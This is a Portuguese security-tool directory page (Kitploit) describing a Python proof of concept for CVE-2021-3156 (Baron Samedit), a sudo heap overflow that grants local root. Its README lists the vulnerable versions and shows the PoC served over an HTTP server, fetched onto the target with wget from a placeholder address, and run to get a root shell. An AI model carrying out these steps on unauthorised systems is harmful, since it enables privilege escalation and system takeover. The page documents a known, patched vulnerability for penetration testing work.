Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Review.CVE-2021-3156 — Prova de conceito em Python para o CVE-2021-3156 (Baron Samedit), um heap overflow no sudoedit que permite escalonamento local de privilégios para root em versões vulneráveis do sudo. | Kitploit
Ferramentas/GitHubGitHub/constantinefedorov/review.cve-2021-3156
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed TeamingExploração de Binários
GitHubconstantinefedorov/review.cve-2021-3156

Review.CVE-2021-3156

Prova de conceito em Python para o CVE-2021-3156 (Baron Samedit), um heap overflow no sudoedit que permite escalonamento local de privilégios para root em versões vulneráveis do sudo.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 1 anoAinda não revisado

👑 CVE-2021-3156 (Baron Samedit) — Escalação de Privilégios via Heap Overflow no sudo

📅 Data: 2025-06-08
✍️ Autor: @TopskiyPavelQwertyGang 🧠 Pesquisador de Segurança | Entusiasta de Red Team


🧠 Visão geral da CVE

  • CVE-ID: CVE-2021-3156
  • Tipo: Heap-based Buffer Overflow
  • Componente: sudoedit (sudo)
  • Nível de acesso: Local
  • Objetivo: Obtenção de privilégios de root

🧠 Descrição

O heap-overflow em sudoedit permite que um usuário local obtenha acesso root
ao executar o comando sudoedit com parâmetros previamente preparados.

A exploração está ativa para versões sudo < 1.9.5p2, incluindo imagens populares Ubuntu/Debian/CentOS.
Mesmo com o ASLR ativado, a vulnerabilidade permanece explorável.


🐾 Condições de exploração

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (vulnerável)
ASLR   : 2 (ativado)

🧪 Preparação do ambiente

  1. Verificadas as versões de glibc e sudo:
ldd --version
sudo --version
  1. Scripts PoC transferidos de outra máquina por meio de servidor HTTP embutido:
python3 -m http.server 80
  1. Na máquina alvo, os PoC são baixados e executados:
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Exploração bem-sucedida do PoC

$ python3 exploit_nss.py
# whoami
root

🧾 Conclusão

A exploração da CVE-2021-3156 permanece possível mesmo com o ASLR ativo, se glibc ≥ 2.26 e sudo de versão vulnerável.
O exploit exploit_nss.py mostrou-se o mais estável, funcionando na primeira tentativa com a configuração correta do NSS.

🧨 Sistema sob controle.


Baixar ferramenta